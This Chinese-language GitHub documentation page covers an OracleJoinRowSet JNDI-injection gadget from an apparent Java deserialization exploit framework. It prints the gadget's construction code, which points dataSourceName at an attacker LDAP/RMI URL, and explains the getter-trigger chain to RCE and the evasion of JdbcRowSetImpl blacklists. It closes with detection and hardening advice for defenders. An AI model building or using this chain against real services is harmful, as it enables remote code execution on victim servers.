Skip to content

Latest commit

 

History

History
109 lines (94 loc) · 11.7 KB

File metadata and controls

109 lines (94 loc) · 11.7 KB

Oracle DataSource JNDI(OracleJoinRowSet)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖oracle(Oracle JDBC 驱动,含 oracle.jdbc.rowset.OracleJoinRowSet;即 ojdbc*.jar / ons.jar 系列,视版本内置于 oracle.jdbc.rowset 包)
  • 实现Gadget(直接实现,无基类)

作用

构造一个 oracle.jdbc.rowset.OracleJoinRowSet 实例,把它的 dataSourceName 字段设为攻击者可控的 JNDI URL。它自身不含 readObject,属于 getter 触发型 JNDI sink(链尾 END:当上游 getter 触发器调用其 getConnection() 时,Oracle RowSet 内部走 connect()InitialContext.lookup(dataSourceName),从而发起 JNDI 注入 / 远程加载,最终 RCE。作用与 JdbcRowSetImpl 等价,但类名不同,常用于绕过只针对 com.sun.rowset.JdbcRowSetImpl 的黑名单(前提是目标 classpath 存在 Oracle JDBC 驱动)。

链接标签

  • 入口 tagsDataSourceChainsGetterEND
    • DataSourceChains —— 标记它属于「DataSource/RowSet 型 JNDI 出口」这一族,可被声明 nextTagsDataSourceChains 的上游衔接(如 Rome1 等 EqualsBean/toString 触发器;见下)。
    • Getter —— 表示它必须依赖上游调用内层对象的 getter 才能触发,自身不会主动执行 lookup。上游需是「暴露/驱动 getter」的 gadget(nextTags=Getter)。
    • END —— 链的终点 sink,自身产出最终对象,无更内层(invoke 中不调用 chain.doCreate)。
  • 衔接 nextTags:(无)—— 链尾,不再向下衔接。
  • excludes:(无)。

源码剖析

@GadgetTags(tags={"DataSourceChains", "Getter", "END"})
@GadgetAnnotation(name="Oracle DataSource JNDI",
    description="oracle.jdbc.rowset.OracleJoinRowSet\n需要Getter触发,fj可能触发不到getConnection就退出了,用cb最好",
    dependencies={"oracle"})
public class OracleJoinRowSet implements Gadget {
    private final String getterMethodName = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="jndi地址", description="eg: [rmi|ldap]://host:port/obj")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

两个 private final 字段 getterMethodName="getConnection" / getterPropertyName="connection" 记录了本 sink 的触发点:要被调用的方法是 getConnection()、对应的「属性名」是 connection(getter 去掉 get 前缀并首字母小写)。这两个值随后在 invoke 中被写入链上下文,供上游触发器读取。jndiUrl 是唯一的 @Param,默认 ldap://127.0.0.1:1389/x

public Object getObject() throws Exception {
    Object datasource = Reflections.newInstance("oracle.jdbc.rowset.OracleJoinRowSet", new Object[0]);
    Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl);   // ① 写入 JNDI URL
    Vector<String> v1 = new Vector<String>();
    v1.add(0, "111");
    try {
        Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
        Reflections.setFieldValue(datasource, "matchColumnNames", v1);
        Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
        Reflections.setFieldValue(datasource, "monitorLock", null);          // ② 高版本才有的字段
    }
    catch (Exception e) {
        Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
        Reflections.setFieldValue(datasource, "matchColumnNames", v1);
        Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);      // ③ 缺 monitorLock 字段时的回退
    }
    return datasource;
}

逐段说明:

  1. ① 反射实例化并植入 payload:用 Reflections.newInstance 通过全限定名反射构造 oracle.jdbc.rowset.OracleJoinRowSet(避免在本类上硬编译期依赖 Oracle 驱动),再用 Reflections.setFieldValuedataSourceName 设成 jndiUrldataSourceName 正是 Oracle RowSet getConnection()/connect() 内部执行 InitialContext.lookup(...) 时查找的名字——这一步决定了最终 lookup 的目标。
  2. ② 填充占位字段以保证可序列化 / 不中途抛异常OracleJoinRowSet 是复杂的 BaseRowSet 派生对象,若干内部字段在 Java 原生序列化/反序列化及后续 getter 调用链中不能为 null(否则会在到达 getConnection 前就抛 NullPointerException 使链提前中断)。因此把 metaData 设为非空数组、matchColumnNames/matchColumnIndexes 设为非空 Vector(元素 "111" 为无害占位);monitorLock 是并发锁对象,置 null 以避免其自身不可序列化带来的问题。
  3. ③ 版本兼容回退:不同 Oracle 驱动版本的字段集合不同——低版本可能不存在 monitorLock 字段,setFieldValue 会抛异常。try/catch 保证:无论 monitorLock 是否存在,metaData/matchColumnNames/matchColumnIndexes 三个关键字段都能被设置成功,从而跨 Oracle 驱动版本自适应
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);       // ④ 限定 getter 枚举的类型
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");     // ⑤ 指定要触发的特殊方法
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");          // ⑥ 回填属性名给上游
    return this.getObject();
}

invoke 未调用 chain.doCreate(context)——印证 END:它是链尾,直接返回自己产出的对象。它向 GadgetContext 写入三个键,与上游 getter 触发器约定协作:

  • SUPER_CLASS_NAME_KEY = DataSource.class:告诉上游触发器「按 javax.sql.DataSource 接口来枚举/挑选 getter」。这一点很关键:OracleJoinRowSet 具体类上有大量 getter,若不加限定,触发器可能命中其它无害 getter;而 DataSource 接口恰好声明了 getConnection()。上游触发器(如 Rome1EqualsBean._beanClass)读取该键后,会把内省用的 bean 类设为 DataSource,确保被调用的是 getConnection()
  • SPECIAL_METHOD_NAME_KEY = "getConnection":显式指名要触发的方法,供支持「特殊方法名」的触发器精确定位(与 ④ 呼应)。
  • GETTER_PARAM_NAME_KEY = "connection":回填「属性名」。对基于属性名反射的触发器(如 CommonsBeanutils1BeanComparator.property = context.getString(GETTER_PARAM_NAME_KEY)),它据此调用 getConnection()。这与 CB 侧 property = context.getString(GETTER_PARAM_NAME_KEY) 正好对接,实现「可插拔 getter 名」。

触发链路小结(受害端反序列化时):上游 getter 触发器复原 → 调用内层对象的 getConnection()OracleJoinRowSet.getConnection()connect()InitialContext.lookup(dataSourceName) → 加载攻击者 JNDI 服务返回的对象 → RCE。

参数(@Param)

字段 名称 说明 类型 默认 可选值
jndiUrl jndi地址 JNDI lookup 地址,形如 [rmi|ldap]://host:port/obj String ldap://127.0.0.1:1389/x 任意 RMI/LDAP URL

getterMethodName=getConnectiongetterPropertyName=connectionprivate final 内部固定值,非用户可配。)

适用版本与原理要点

  • 依赖:目标 classpath 必须存在 Oracle JDBC 驱动(oracle.jdbc.rowset.OracleJoinRowSet)。无该驱动则不可用——这是它相对纯 JDK 的 JdbcRowSetImpl 的唯一额外前提。
  • 最终效果为 JNDI 注入:受高版本 JDK 的 com.sun.jndi.ldap.object.trustURLCodebase / com.sun.jndi.rmi.object.trustURLCodebase(默认 false)限制,远程 codebase 类加载被封;高版本需配合「本地 factory」或「反序列化型 JNDI」利用绕过。作为纯 getter sink,其触发本身不挑 JDK 版本,比 TemplatesImpl(需 defineClass、受 JDK 17+ 模块化限制)对 JDK 版本更宽容。
  • 触发器选择(来自 description 的实战提示)需要Getter触发,fj可能触发不到getConnection就退出了,用cb最好。即:用 fj(FastjsonToString/JacksonToString 之类的 toString 触发器)时,其 getter 遍历可能在到达 getConnection 之前就退出/短路,导致触发不到;因此优先用 cbCommonsBeanutils1 等基于 property 精确指定属性名的触发器)——它按 GETTER_PARAM_NAME_KEY=connection 精确调用 getConnection(),稳定命中。
  • 跨驱动版本自适应getObjecttry/catch 针对 monitorLock 字段的有无做了兼容(见源码剖析 ③)。

所属预设链

自由构件,未直接出现在预设链中(usedInChains 为空)。可按 tag/nextTag 与 getter 触发器组合,典型形态为 [<getter 触发器>, OracleJoinRowSet],例如 [CommonsBeanutils1, OracleJoinRowSet](对照预设链 CB1 JNDI链1[CommonsBeanutils1, JdbcRowSetImpl],把 sink 换成本类即可)。

关联

  • 上游(tags=Getter / nextTagsGetterDataSourceChains,提供 getter 触发)CommonsBeanutils1(推荐)、CommonsBeanutils2Rome1nextTagsDataSourceChains)、JacksonToString / FastjsonToStringtoString 型,可能触发不到,见上)。
  • 同族 JNDI 出口(可互换的 getter/JNDI 型 sink)JdbcRowSetImpl(JDK 内置,最经典)、同目录 Oracle RowSet 变体 OracleWebRowSetOracleJDBCRowSetOracleCachedRowSetOracleFilteredRowSet,以及达梦驱动的 DmdbRowSetLdapAttribute。它们共享「设置数据源名 → getter 触发 JNDI lookup」的同一原理,仅承载类不同,用于绕过不同的类黑名单。

防御与检测(面向防守方)

  • 序列化流量检测特征
    • 序列化字节流中出现类名 oracle.jdbc.rowset.OracleJoinRowSet(及同族 OracleWebRowSet/OracleJDBCRowSet/OracleCachedRowSet/OracleFilteredRowSet),或 javax.sql.RowSet / BaseRowSet 派生类。
    • 对象内 dataSourceName 字段为 ldap:// / rmi:// / iiop:// 等外部 URL;metaData["111"]matchColumnNames/matchColumnIndexes 为含 "111"Vector 等本工具特征占位值。
    • 通常与一个 getter 触发器同时出现:PriorityQueue+BeanComparator(CB1)、Hashtable+EqualsBean(Rome)等外层包装。
  • 运行时行为特征:反序列化后进程发起对外 LDAP/RMI(389/1389/1099) 连接,调用栈可见 ...OracleJoinRowSet.getConnectionconnectjavax.naming.InitialContext.lookup
  • 加固建议
    1. 反序列化输入使用类白名单(如 ValidatingObjectInputStream / JEP 290 ObjectInputFilter),显式拒绝 oracle.jdbc.rowset.*com.sun.rowset.*javax.sql.rowset.*javax.sql.DataSource 相关类。
    2. 设置并锁定 com.sun.jndi.ldap.object.trustURLCodebase=falsecom.sun.jndi.rmi.object.trustURLCodebase=false(新版 JDK 默认),升级 JDK 以获得 JNDI/LDAP 反序列化防护。
    3. 出站网络管控:禁止应用服务器主动外连 LDAP/RMI,阻断远程 codebase 拉取。
    4. 若无业务需要,移除运行时 classpath 上多余的 Oracle JDBC 驱动,或用依赖管控收敛可被利用的 RowSet 载体。

参考

  • 反编译源码:
  • 机器可读元数据:index/gadgets.jsonclassName == "OracleJoinRowSet"